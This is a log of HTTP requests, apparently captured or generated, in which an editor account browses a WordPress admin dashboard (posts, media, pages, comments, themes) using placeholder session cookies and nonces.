{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 118", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": "{\"meta\":{\"persisted_preferences\":{\"core\":{\"isComplementaryAreaVisible\":true},\"_modified\":\"2026-11-09T05:45:57.030Z\"}}}"}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=wp-polyfill&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=6&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/blocks?context=edit&per_page=100&page=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/wp_pattern_category?context=view&per_page=100&_fields=id%2Cname%2Cdescription%2Cslug&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?post_status=publish&post_type=post", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203157"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=category", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203158"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203159"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menu&load%5Bchunk_1%5D=s,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-includes/images/spinner.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menu&load%5Bchunk_1%5D=s,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 128", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": "action=query-attachments&post_id=0&query%5Borderby%5D=date&query%5Border%5D=DESC&query%5Bposts_per_page%5D=80&query%5Bpaged%5D=1"}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-admin/media-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203161"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,wp-dom-ready,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=hoverIntent&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?post_type=page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 171", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203163"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-3&data%5Bwp-check-locked-posts%5D%5B%5D=post-2&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-page&has_focus=true"}
{"method": "GET", "target": "/wp-admin/post-new.php?post_type=page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203163"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=8&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-patterns/patterns?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 158", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": "{\"meta\":{\"persisted_preferences\":{\"core\":{\"isComplementaryAreaVisible\":true},\"_modified\":\"2026-11-09T05:46:05.490Z\",\"core/edit-post\":{\"welcomeGuide\":false}}}}"}
{"method": "GET", "target": "/wp-admin/edit-comments.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?comment_status=moderated", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203165"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203166"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/screenshot.png?ver=1.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfour/screenshot.png?ver=1.6", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentythree/screenshot.png?ver=1.7", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
